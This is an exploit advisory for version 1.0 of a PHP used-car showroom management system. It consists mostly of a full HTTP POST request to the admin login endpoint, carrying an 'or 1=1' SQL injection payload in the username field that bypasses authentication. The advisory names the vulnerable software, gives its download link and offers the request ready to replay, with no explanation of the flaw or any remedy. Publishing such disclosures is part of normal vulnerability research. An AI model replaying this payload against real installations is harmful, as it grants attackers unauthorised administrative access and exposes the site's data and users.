Online Pre-Owned / Used Car Showroom Management System 1.0 SQL Injection

`# Exploit Title: Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass  
# Date: 01-12-2021  
# Exploit Author: Mohamed habib Smidi (Craniums)  
# Vendor Homepage: https://www.sourcecodester.com/php/15067/online-pre-ownedused-car-showroom-management-system-php-free-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/used_car_showroom.zip  
# Version: 1.0  
# Tested on: Ubuntu  
  
# Description :  
  
Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.  
  
# Request :  
  
POST /used_car_showroom/classes/Login.php?f=login HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)  
Gecko/20100101 Firefox/93.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 49  
Origin: http://localhost  
DNT: 1  
Connection: close  
Referer: http://localhost/used_car_showroom/admin/login.php  
Cookie: PHPSESSID=v0h6049m9ppunsh8vtfc8oj4p5  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
  
username='+or+1%3D1+limit+1+--+-%2B&password=aaaa  
  
--  
`